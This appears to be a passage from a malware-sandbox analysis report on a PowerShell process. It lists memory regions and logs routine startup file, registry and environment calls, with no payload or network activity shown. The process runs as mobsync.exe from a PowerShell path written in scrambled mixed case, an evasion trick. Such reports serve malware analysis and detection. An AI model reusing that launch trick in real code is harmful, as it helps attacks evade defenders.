pagefile_0x0000000001f00000 0x01f00000 0x01f02fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001f10000 0x01f10000 0x01f8ffff Private Memory Readable, Writable True True False
pagefile_0x0000000001f90000 0x01f90000 0x01f90fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001fa0000 0x01fa0000 0x01fbffff Private Memory - True True False
private_0x0000000001fc0000 0x01fc0000 0x01fcffff Private Memory Readable, Writable True True False
l_intl.nls 0x01fd0000 0x01fd2fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000001fe0000 0x01fe0000 0x01feffff Private Memory Readable, Writable True True False
private_0x0000000001ff0000 0x01ff0000 0x01ff0fff Private Memory Readable, Writable True True False
sorttbls.nlp 0x02000000 0x02004fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002010000 0x02010000 0x0208ffff Private Memory Readable, Writable True True False
sortdefault.nls 0x02090000 0x0235efff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000002360000 0x02360000 0x02752fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000002760000 0x02760000 0x0285ffff Private Memory Readable, Writable True True False
microsoft.wsman.runtime.dll 0x02860000 0x02867fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000002870000 0x02870000 0x02870fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000002880000 0x02880000 0x028fffff Private Memory Readable, Writable True True False
sortkey.nlp 0x02900000 0x02940fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000002950000 0x02950000 0x02950fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000002960000 0x02960000 0x029dffff Private Memory Readable, Writable True True False
mscorrc.dll 0x029e0000 0x02a33fff Memory Mapped File Readable True False False
  • Region Actions
private_0x0000000002a40000 0x02a40000 0x02abffff Private Memory Readable, Writable True True False
private_0x0000000002b50000 0x02b50000 0x02bcffff Private Memory Readable, Writable, Executable True True False
private_0x0000000002bd0000 0x02bd0000 0x1abcffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000001abd0000 0x1abd0000 0x1b29ffff Private Memory Readable, Writable True True False
private_0x000000001b2a0000 0x1b2a0000 0x1b3a0fff Private Memory Readable, Writable True True False
kernelbase.dll.mui 0x1b3b0000 0x1b46ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x000000001b490000 0x1b490000 0x1b50ffff Private Memory Readable, Writable True True False
system.management.automation.dll 0x1b510000 0x1b7f1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000001b800000 0x1b800000 0x1b8fffff Private Memory Readable, Writable True True False
system.transactions.dll 0x1e230000 0x1e278fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcr80.dll 0x75360000 0x75428fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x775e0000 0x776d9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x776e0000 0x777fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x77800000 0x779a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
psapi.dll 0x779d0000 0x779d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
powershell.exe 0x13f630000 0x13f6a6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
culture.dll 0x642ff4a0000 0x642ff4a9fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.directoryservices.ni.dll 0x7fede4e0000 0x7fede674fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.management.ni.dll 0x7fede680000 0x7fede7ebfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.security.ni.dll 0x7fedea50000 0x7fedea8dfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.commands.management.ni.dll 0x7fedeb40000 0x7fedec57fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.commands.utility.ni.dll 0x7fedec60000 0x7fedee75fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.transactions.ni.dll 0x7fedee80000 0x7fedef64fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.wsman.management.ni.dll 0x7fedef70000 0x7fedf019fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.configuration.install.ni.dll 0x7fedf020000 0x7fedf051fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.commands.diagnostics.ni.dll 0x7fedf060000 0x7fedf0c8fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.core.ni.dll 0x7fedf0d0000 0x7fedf3fdfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.management.automation.ni.dll 0x7fedf470000 0x7fedffccfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.consolehost.ni.dll 0x7fee0230000 0x7fee02e1fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.xml.ni.dll 0x7fee1530000 0x7fee1bd4fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.ni.dll 0x7fee1fc0000 0x7fee29e2fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscorlib.ni.dll 0x7fee29f0000 0x7fee38cbfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscorwks.dll 0x7fee38d0000 0x7fee426cfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscoreei.dll 0x7fef13f0000 0x7fef1488fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscoree.dll 0x7fef1910000 0x7fef197efff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
linkinfo.dll 0x7fef6190000 0x7fef619bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shdocvw.dll 0x7fef61a0000 0x7fef61d3fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntshrui.dll 0x7fef7b70000 0x7fef7beffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cscapi.dll 0x7fef7bf0000 0x7fef7bfefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
apphelp.dll 0x7fef91c0000 0x7fef9216fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
uxtheme.dll 0x7fefb560000 0x7fefb5b5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
slc.dll 0x7fefbee0000 0x7fefbeeafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
atl.dll 0x7fefbf10000 0x7fefbf28fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
comctl32.dll 0x7fefc060000 0x7fefc253fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
propsys.dll 0x7fefc4e0000 0x7fefc60bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntmarta.dll 0x7fefc740000 0x7fefc76cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x7fefc910000 0x7fefc91bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
userenv.dll 0x7fefcaf0000 0x7fefcb0dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x7fefcd40000 0x7fefcd86fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x7fefd040000 0x7fefd056fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x7fefd540000 0x7fefd562fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x7fefd640000 0x7fefd64efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
profapi.dll 0x7fefd750000 0x7fefd75efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
devobj.dll 0x7fefd9b0000 0x7fefd9c9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x7fefd9d0000 0x7fefda3afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cfgmgr32.dll 0x7fefda40000 0x7fefda75fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x7fefdb40000 0x7fefdb6dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
setupapi.dll 0x7fefdb70000 0x7fefdd46fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x7fefdd50000 0x7fefddeefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x7fefde70000 0x7fefdf46fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x7fefdf50000 0x7fefdf5dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x7fefe1c0000 0x7fefe3c2fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x7fefe550000 0x7fefe5e8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x7fefe640000 0x7fefe76cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x7fefe770000 0x7fefe7e0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wldap32.dll 0x7fefe7f0000 0x7fefe841fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shell32.dll 0x7fefe850000 0x7feff5d7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x7feff710000 0x7feff818fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x7feff8c0000 0x7feff8defff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x7feff8e0000 0x7feff9bafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x7feff9d0000 0x7feffa36fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x7feffa40000 0x7feffb08fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
apisetschema.dll 0x7feffb20000 0x7feffb20fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000007ff00020000 0x7ff00020000 0x7ff0002ffff Private Memory - True True False
private_0x000007ff00030000 0x7ff00030000 0x7ff0003ffff Private Memory - True True False
private_0x000007ff00040000 0x7ff00040000 0x7ff000dffff Private Memory - True True False
private_0x000007ff000e0000 0x7ff000e0000 0x7ff000effff Private Memory - True True False
private_0x000007ff000f0000 0x7ff000f0000 0x7ff0015ffff Private Memory - True True False
private_0x000007ff00160000 0x7ff00160000 0x7ff0016ffff Private Memory - True True False
private_0x000007ff00170000 0x7ff00170000 0x7ff0017ffff Private Memory - True True False
private_0x000007ff00180000 0x7ff00180000 0x7ff0018ffff Private Memory - True True False
private_0x000007ff00190000 0x7ff00190000 0x7ff0019ffff Private Memory - True True False
private_0x000007ff001a0000 0x7ff001a0000 0x7ff001affff Private Memory - True True False
private_0x000007ff001b0000 0x7ff001b0000 0x7ff001bffff Private Memory - True True False
private_0x000007ff001c0000 0x7ff001c0000 0x7ff001cffff Private Memory - True True False
private_0x000007ff001d0000 0x7ff001d0000 0x7ff001dffff Private Memory - True True False
private_0x000007ff001e0000 0x7ff001e0000 0x7ff001effff Private Memory - True True False
private_0x000007ff001f0000 0x7ff001f0000 0x7ff001fffff Private Memory - True True False
private_0x000007ff00200000 0x7ff00200000 0x7ff0020ffff Private Memory - True True False
private_0x000007fffff00000 0x7fffff00000 0x7fffff0ffff Private Memory Readable, Writable, Executable True True False
private_0x000007fffff10000 0x7fffff10000 0x7fffff9ffff Private Memory Readable, Writable, Executable True True False
private_0x000007fffffae000 0x7fffffae000 0x7fffffaffff Private Memory Readable, Writable True True False
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000007fffffd3000 0x7fffffd3000 0x7fffffd4fff Private Memory Readable, Writable True True False
private_0x000007fffffd5000 0x7fffffd5000 0x7fffffd6fff Private Memory Readable, Writable True True False
private_0x000007fffffd7000 0x7fffffd7000 0x7fffffd8fff Private Memory Readable, Writable True True False
private_0x000007fffffd9000 0x7fffffd9000 0x7fffffdafff Private Memory Readable, Writable True True False
private_0x000007fffffdb000 0x7fffffdb000 0x7fffffdcfff Private Memory Readable, Writable True True False
private_0x000007fffffdd000 0x7fffffdd000 0x7fffffdefff Private Memory Readable, Writable True True False
private_0x000007fffffdf000 0x7fffffdf000 0x7fffffdffff Private Memory Readable, Writable True True False
For performance reasons, the remaining 29 entries are omitted.
The remaining entries can be found in flog.txt.
Threads
Thread 0x428
(Host: 336, Network: 0)
+
Category Operation Information Success Count Logfile
System Get Info type = Operating System False 3
Fn
File Get Info filename = C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll, type = file_attributes True 1
Fn
Module Get Filename process_name = c:\windows\system32\mobsync.exe, file_name_orig = C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.Exe, size = 2048 True 1
Fn
System Get Info type = SYSTEM_PROCESS_INFORMATION True 1
Fn
Environment Get Environment String name = MshEnableTrace False 3
Fn
File Get Info filename = C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 9
Fn
File Get Info filename = C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.config, type = file_attributes False 1
Fn
Environment Get Environment String name = MshEnableTrace False 6
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
System Get Info type = Operating System False 1
Fn
Environment Get Environment String name = MshEnableTrace False 3
Fn
Environment Get Environment String name = MshEnableTrace False 10
Fn
Environment Get Environment String name = PSMODULEPATH, result_out = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment, value_name = PSMODULEPATH, data = 0, type = REG_EXPAND_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment, value_name = PSMODULEPATH, data = %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\, type = REG_EXPAND_SZ True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Environment True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Environment, value_name = PSMODULEPATH, type = REG_NONE False 1
Fn
Environment Set Environment String name = PSMODULEPATH, value = C:\Users\aETAdzjz\Documents\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 4
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = 0, type = REG_SZ True 2
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, size = 4096, size_out = 4096 True 3
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, size = 4096, size_out = 3315 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, size = 781, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
System Get Info type = Hardware Information True 1
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, size = 4096, size_out = 4096 True 41
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, size = 4096, size_out = 436 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = 0, type = REG_SZ True 2
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 4
Fn
File Get Info type = file_type True 1
Fn
File Read size = 4096, size_out = 4096 True 6
Fn
Data
File Read size = 4096, size_out = 2530 True 1
Fn
Data
File Read size = 542, size_out = 0 True 1
Fn
File Read size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 5
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4018 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 78, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 6
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 2762 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 310, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 17
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 3022 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 50, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 6
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 281 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 38
Fn
Data
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 21
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 3687 True 1
Fn
Data
